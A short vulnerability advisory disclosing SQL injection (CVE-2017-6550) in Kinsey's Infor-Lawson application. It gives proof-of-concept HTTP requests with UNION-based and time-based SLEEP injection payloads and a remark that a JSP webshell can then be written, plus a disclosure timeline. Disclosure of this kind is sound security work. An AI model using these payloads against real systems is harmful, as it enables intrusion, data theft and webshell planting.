Kinsey's Infor-Lawson SQL Injection
Posted on 12 March 2017
Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters: ------------------------------------------------------------------------ Vendor: Kinsey ------------------------------------------------------------------------ Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html ------------------------------------------------------------------------ Identifier: CVE-2017-6550 ------------------------------------------------------------------------ Tested on: Windows Server 2008 R2; MySQL ver 5.5 ------------------------------------------------------------------------ Exploit Author: Michael Benich Contact: benichmt1 [at] protonmail.com or @benichmt1 ------------------------------------------------------------------------ PoC: 1) TABLE parameter, PoC below GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1 ------------------------------------------------------------------------ 2) Query POST parameter POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1 <--snip--http headers--> QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB ------------------------------------------------------------------------ A JSP webshell can then be written to the /esbus/ directory. ------------------------------------------------------------------------ Timeline: 12/1/2016 - Discovery. Contacted generic security emails 12/1/2016 - Received response from vendor ("Thanks for the info...") 2/27/2017 - Followed up with contact and intent to disclose. No reply. 3/10/2017 - Disclosure ------------------------------------------------------------------------
